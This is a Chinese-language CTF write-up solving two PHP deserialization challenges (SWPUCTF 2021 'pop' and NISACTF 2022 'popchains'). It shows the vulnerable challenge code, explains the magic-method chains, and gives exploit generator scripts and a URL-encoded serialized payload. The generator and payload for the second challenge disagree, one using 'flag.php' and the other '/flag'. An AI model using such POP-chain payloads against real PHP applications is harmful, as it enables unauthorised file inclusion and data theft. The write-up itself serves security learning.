时间不会永远只停留在过去的,你也不能永远活在那一刻。
[SWPUCTF 2021 新生赛]pop
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
分析:
1.首先找到漏洞函数include(),包含了flag.php,条件是admin=w44m,passwd=08067,include函数又在Getflag()方法里。
2.要触发Getflag(),我们找到了w33m类里的__toString方法,里面用w00m参数执行了w22m参数。我们可以把w00m参数变成w44m的对象,w22m变成Getflag方法。
3.要触发__toString方法,我们要把所在类w33m的对象当做字符串使用,我们找到了w22m类的__destruct方法里面echo输出了属性w00m,我们可以把w00m变为w33m类的对象的。
4.而__destruct方法是在对象被销毁时自动触发的。所以我们可以构造pop链:
__destruct()->toString()->Getflag()
构造:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w44m();
$b=new w22m();
$c=new w33m();
$b->w00m=$c;
$c->w00m=$a;
$c->w22m='Getflag';
echo urlencode(serialize($b));
?>
[NISACTF 2022]popchains
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
分析:
1.找到漏洞函数include($value),在类Try_Work_Hard的append方法里, 要触发append方法,我们找到了__invoke方法里的$this->append()触发了append。而参数是var属性,所一我们需要让属性car=flag.php.
2.要触发__invoke()方法,就要让所在类的对象被当作方法使用。我们找到了Make_a_Change类中的__get方法列把属性effort当作方法去执行。所以我们可以把属性$effort等于Try_Word_Hard类的属性。
3.要触发__get方法,就要让所在类Make_a_Change的对象访问一个不存在或不可访问的属性。
我们找到了Road_is_Long里的__toString方法,返回了一个string属性去访问page属性,我们可以使string成为类Make_a_Change的对象,page是类Make_a_Change不存在的属性。
4.要触发__toString方法,就要让所在类Road_is_Long的对象被当作字符串使用。我们找到了__wakeup方法里的preg_match使page作为一个字符串来过滤。。
5.触发__wakeup方法,在所在类Road_is_Long的对象被反序列化时自动触发。
这样我们就可以构造pop链了:
__wakeup()->__toSting()->__get()->__invoke()->append()
构造:
<?php
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var="flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __get($key){
$function = $this->effort;
return $function();
}
}
$a=new Road_is_Long();
$d=new Road_is_Long();
$b=new Try_Work_Hard();
$c=new Make_a_Change();
$a->page=$d;
$c->effort=$b;
$d->string=$c;
echo urlencode(serialize($a));
?>
O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
注意:
定义了两个Road_is_Long的对象$a和$d,将$a的属性page设置为$d,在执行到如下代码时
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page))
会将page当作字符串处理,而此时page已经被设置为$d,也是在此触发__toString(),将$d的string属性设置为Make_a_Change的对象Make_a_ChangeObject,此时去访问Make_a_ChangeObject的page属性,page属性不存在,触发__get(),再将Make_a_ChangeObject的effort设置为Try_Work_Hard的对象Try_Work_HardObject,Try_Work_Hard的var因为是protected,所以在类中设置默认值为 /flag